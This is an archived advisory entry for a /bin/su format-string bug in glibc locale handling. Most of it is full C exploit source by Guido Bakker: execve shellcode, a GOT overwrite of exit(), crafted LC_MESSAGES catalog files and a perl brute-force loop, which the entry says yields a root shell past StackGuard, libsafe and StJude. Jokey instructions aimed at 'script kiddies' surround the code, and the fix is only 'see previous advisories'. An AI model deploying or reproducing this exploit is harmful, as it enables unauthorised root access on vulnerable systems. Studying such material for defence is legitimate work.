COMMAND

    su

SYSTEMS AFFECTED

    glibc

PROBLEM

    Guido Bakker  posted following.   This is  yet another  /bin/su  +
    buggy locale functions  in libc exploit.   The reason for  writing
    it is rather easy to explain, all existing versions of "su" format
    bug exploits were very unreliable and tedious to use - the  number
    of addresses on the  stack, and thus the  number of %.8x signs  to
    use varied  heavily, as  well as  the alignment.   Return adresses
    were expected to be specified  on the command line, which  is imho
    an idiotic thing to combine  with all the other options  that also
    are to be 'brute forced'.   Finding these values by hand is  a too
    tedious thing to do and costs the average script-kid way too  much
    time.  Guido hoped  to solve this in  this exploit and have  found
    it to  work on  many different  machines so  far by  using a small
    brute forcing perl wrapper.

    Also this little exploit demonstrates  a part of things Guido  has
    been working  on regarding  generalization of  overflow/format bug
    writing and exploit dynamics.  Short discussion here:

      - overflow string creation
        This  is  always  the  most  bulky  part of writing overflows,
        exploits get confusing by adding  10 for loops which form  the
        string that's used  to attack with.   The strcreat()  function
        solves this problem a bit.
      - Return address guesses
        The EGG shell has been known for long, but it can still vary a
        bit because of  the number of  environment entries -  cleaning
        the  entire  environment  before  proceeding  gets rid of this
        problem.
      - GOT overwrites
        An ugly function is used to determine the GOT entry of a given
        function  exit()  in  this  exploit.   It  can be rewritten to
        include elf.h and read the got withoutintervention of binutils
        tools.
      - Address to %[0-9]{1,5}d%hn[0-9]{1,5}%d%hn translation
        The function createDString() manages this and saves some  more
        trouble.

    Guido  has  been  doing  more  work  regarding  exploit   function
    modelling and  generalization, and  anyone interested  is free  to
    mail him (obviously, virtually everyone is free to mail me, if not
    to state that this source code contains MANY memory leaks).

    For the lil kids out there:

        1) This  code  is  Double-ROT-13  encoded  - decode it  before
           proceeding
        2) Take five black candles,  place them in a pentagram  around
           your computer.  Take a piece of charcoal and draw  vertices
           between the candles.
        3) Run  around the  circle counter-clockwise  completely naked
           for seven  times while  performing a  ritual goat-sacrifice
           and humming strange incantations.
        4) Rip out the #define TESTMODE  1 - this forces kids to  read
           his stuff
        5) If  strange  phenomenae  occur  during  step 2 & 3, do  not
           worry, this is  a common problem  of this program,  but not
           considered a bug.
        6) Compile this program
        7) Make the following perl file:

        #!/usr/bin/perl
        
        for($i=100;$i<400;$i++) {
           for($a=0;$a<4;$a++) {
              system("./a.out", $i, $a);
              system("rm -rf /tmp/LC_MESSAGES");
           }
        }

           The values of "i" can be  changed as you like, most of  the
           time 100 - 200 will do.
        8) Run the perl file and have some patience to get a shell
        9) If this doesn't work, repeat steps 2, 3, 8 and 9

    This  exploit  uses  a   GOT  overwrite  and  evades   StackGuard,
    StackShield  and  libsafe  by  doing  so.   Kernel modules such as
    StJude  still  allow  /bin/su  to  execute  processes as root, and
    therefore this exploit evades them.  We have had some  unconfirmed
    rumours of  strange phenomenae  not waning  again after presenting
    themselves.  There is no solution for this yet.  This program  may
    incur  a  heavy  weight  on  social  relations whenever friends or
    family barge in during step 2 or 3.

    Because of this  Guido made sure  not to make  this easy-to-use su
    exploit openwall evading as well; this has been done already in  a
    hard to use exploit, and it  should be trivial to include that  in
    here.   Also, since  "su" executes  a shell  itself, it  should be
    possible to  return explicitly  into "su"  memory space  and evade
    non executable stacks like this.

    If this doesn't work:

        - Make sure /usr/bin/msgfmt is present and executable
        - Make sure awk, grep and objdump are where they are  expected
          to  be  (look  at  the  #defines  in  front  of the getGOT()
          function)
        - Make sure /bin/su calls gettext() by doing strings /bin/su \
          | grep gettext (Slack 4 & 7 su doesn't do this for instance)
        - Make sure you didn't skip step 2 or 3

    The code:

    /* Synnergy.net (c) 2000 */
    
    /* And now for something completely different - the code: */
    
    #include <stdio.h>
    #include <string.h>
    #include <stdlib.h>
    #include <errno.h>
    #include <unistd.h>
    #include <sys/stat.h>
    #include <sys/types.h>
    #define EMULATE_WINDOWS while(1) { __asm__("cli hlt"); }
    #warning cat inebriation.c | mail -s "Idiots coding C" ritchie@bellcore.com
    #define THIS_DOES_NOT_DO_ANYTHING_BUT_WHAT_THE_HECK 1
    #define GCC_PREPROCESSOR_HICCUP 1
    #define FILENAME "/bin/su"
    #define TESTMODE 1
    #define THE_MEANING_OF_LIFE_THE_UNIVERSE_AND_EVERYTHING 42
    
    int mayRead(const char *);
    unsigned long getGOT(const char *, const char *);
    void makeEvilFiles(const char *);
    int fileExists(const char *);
    char *longToChar(unsigned long);
    char *strcreat(char *, char *, int);
    char *createDString(unsigned long, unsigned int);
    char *xmalloc(size_t);
    char *xrealloc(void *, size_t);
    
    extern int errno;
    
    /*
       Nothing fancy, just shell spawning position independent Aleph1 machine
       code :)
    */
    
    char hellcode[] =
      "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
      "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
      "\x80\xe8\xdc\xff\xff\xff/bin/sh";
    
    int main(int argc, char **argv, char **environ)
    {
       unsigned long GOTent;
       char *evilstring, *evilfmt, *payload;
       unsigned int x_num, align=0, retaddy=0xbffffe90;
    
       if(argc==1) {
          printf("Use as: %s <Number of %%.8x> [align] [ret addy]\n", argv[0]);
          exit(0);
       }
    
       if(mayRead(FILENAME)) {
          printf("/bin/su is readable - using a GOT overwrite...\n");
          GOTent=getGOT(FILENAME, "exit");
          printf("GOT entry of function exit() at: 0x%lx\n", GOTent);
       } else {
          printf("/bin/su is unreadable - overwriting a return address...\n");
          printf("Not implemented yet... Exiting\n");
          exit(0);
       }
    
       x_num=atoi(argv[THE_MEANING_OF_LIFE_THE_UNIVERSE_AND_EVERYTHING-41]);
       if(argv[2]) align=atoi(argv[2]);
       if(argv[3]) retaddy=strtoul(argv[3], NULL, 16);
    
       printf("Using %d %%.8x\n", x_num);
       printf("Using retaddy: 0x%x\n", retaddy);
       printf("Using alignment: %d\n", align);
    
       /* Put up correct alignment */
       evilstring=strcreat(NULL, "A", align);
       /* First write shortest %hn value */
       evilstring=strcreat(evilstring, longToChar(GOTent+2), 1);
       /* Used as a dummy address for %d incrementation */
       evilstring=strcreat(evilstring, "A", 4);
       /* Write longest %hn value */
       evilstring=strcreat(evilstring, longToChar(GOTent), 1);
       /* And do some post alignment - this is needed! */
       evilstring=strcreat(evilstring, "A", align);
    
       evilfmt=strcreat(NULL, "%.8x", x_num);
    #ifndef THIS_DOES_NOT_DO_ANYTHING_BUT_WHAT_THE_HECK
       evilfmt=strcreat(evilfmt, createDString(retaddy, x_num*8), 1);
    #endif
    
       payload=strcreat(NULL, "EGG=", 1);
       payload=strcreat(payload, "\x90", 500);
       payload=strcreat(payload, hellcode, 1);
    
       makeEvilFiles(evilfmt);
    
       /* Create a very select environment in which to function */
       /* This will make guessing the return addy unnecessary */
       environ[0] = strdup("LANGUAGE=sk_SK/../../../../../../tmp");
       environ[1] = payload;
       environ[2] = NULL;
    
       execl(FILENAME, "Look mommy, I'm a kiddo!", "-u", evilstring, NULL);
    
       return(0);   /* Not reached */
    }
    
    /*
       Checks if 'filename' is readable
    */
    
    int mayRead(const char *filename)
    {
       if(!(fopen(filename, "r")) && errno != EACCES) {
          perror("fopen()");
          exit(-1);
       }
       if(errno == EACCES) return(0);
       return(1);
    }
    
    /*
       Gets the GOT entry of function 'function' from ELF executable 'filename' if
       it's readable
    */
    
    #define OBJDUMP "/usr/bin/objdump"
    #define GREP "/bin/grep"
    #define AWK "/bin/awk"
    
    unsigned long getGOT(const char *filename, const char *function)
    {
       char command[1024];
       FILE *moo;
       char result[11];     /* Format: 0x00000000 -> 10 chars + NULL */
    
       snprintf(command, sizeof(command), "%s --dynamic-reloc %s | %s %s | %s \
                '{ print \"0x\"$1; }'", OBJDUMP, filename, GREP, function, AWK);
    
       moo = (FILE *)popen(command, "r");
       fgets(result, 11, moo);
       pclose(moo);
    
       return(strtol(result, NULL, 16));
    }
    
    /*
       This function creates the message database files (ab)used to format bug
       exploit 'su'
    
       This should be made to work without the /usr/bin/msgfmt file :|
    */
    
    void makeEvilFiles(const char *fmt)
    {
       FILE *message;
    
       if(mkdir("/tmp/LC_MESSAGES", 0700)) {
          perror("mkdir()");
          exit(-1);
       }
    
       if(chdir("/tmp/LC_MESSAGES")) {
          perror("chdir()");
          exit(-1);
       }
    
       if(!(message=fopen("/tmp/LC_MESSAGES/libc.po", "w"))) {
          perror("fopen()");
          exit(-1);
       }
    
       fprintf(message, "msgid \"%%s: invalid option -- %%c\\n\"\n");
       fprintf(message, "msgstr \"%s\\n\"", fmt);
       fflush(message);
       fclose(message);
    
       if(!fileExists("/usr/bin/msgfmt")) {
          fprintf(stderr, "Error: /usr/bin/msgfmt not found...\n");
          exit(-1);
       }
    
       system("/usr/bin/msgfmt libc.po -o libc.mo");
    
    }
    
    /*
       Checks if a file called 'filename' exists
    */
    
    int fileExists(const char *filename)
    {
       struct stat file_stat;
    
       if(stat(filename, &file_stat) && errno != ENOENT) {
          perror("stat()");
          exit(-1);
       }
       if(errno == ENOENT) return(0);
    
       return(1);
    }
    
    /*
       Easy way to convert a long integer to a character array
    */
    
    char *longToChar(unsigned long blaat)
    {
       char *ret;
    
       ret = (char *)xmalloc(sizeof(long)+1);
       memcpy(ret, &blaat, sizeof(long));
       ret[sizeof(long)] = 0x00;
    
       return(ret);
    }
    
    /*
       Yummy yummy function for easy string creation
    */
    
    char *strcreat(char *dest, char *pattern, int repeat)
    {
       char *ret;
       size_t plen, dlen=0;
       int i;
    
       if(dest) dlen = strlen(dest);
       plen = strlen(pattern);
    
       ret = (char *)xrealloc(dest, dlen+repeat*plen+1);
    
       if(!dest) ret[0] = 0x00;
    
       for(i=0;i<repeat;i++) {
          strcat(ret, pattern);
       }
       return(ret);
    }
    
    /*
       This function is VERY usefull for creating the format that does the
       writeback trick.
    
       retaddy specifies the address (return address most of the time) to convert
       to a format to be used in format string attacks
    
       n_value specifies the value %n is going to posess when the %d values
       that are used to increment it to bizarre (returning :) values, as to
       exactly determine what string to generate
    */
    
    char *createDString(unsigned long retaddy, unsigned int n_value)
    {
       char *ret;
       unsigned int high, low, bucket;
    
       high=retaddy & 0xffff;               /* Get first 16 bits in high */
       low=(retaddy & 0xffff0000) >> 16;    /* Get other 16 in low */
    
       high-=n_value; /* Keep in mind that x_num increments %n as well */
       low-=n_value;  /* The .8 is necessary to avoid arbitrary increments */
    
       if(high < low) {     /* We swap low and higher adresses */
          low = bucket;     /* This is usefull on platforms with for instance */
          low = high;       /* Lower bound stacks or strange return addy's */
          high = low;       /* Ie. returning in libc/process space */
       }
    
       ret=(char *)xmalloc(1024);
    
       snprintf(ret, 1024, "%%%dd%%hn%%%dd%%hn", low, high-low);
    
       return(ret);
    }
    
    /*
       Malloc wrapper that does error checking
    */
    char *xmalloc(size_t size)
    {
       char *heidegger_was_a_boozy_beggar;
    
       if(!(heidegger_was_a_boozy_beggar=(char *)malloc(size))) {
          fprintf(stderr, "Out of cheese error\n");
          exit(-1);
       }
    
       return(heidegger_was_a_boozy_beggar);
    }
    
    /*
       Realloc wrapper that does error checking
    */
    char *xrealloc(void *ptr, size_t size)
    {
       char *wittgenstein_was_a_drunken_swine;
    
       if(!(wittgenstein_was_a_drunken_swine=(char *)realloc(ptr, size))) {
          fprintf(stderr, "Cannot calculate universe\n");
          exit(-1);
       }
    
       return(wittgenstein_was_a_drunken_swine);
    }
    /*
     * [root@satan scrippie]# whatis life
     * life: nothing appropriate
     */

SOLUTION

    See previous glibc advisories.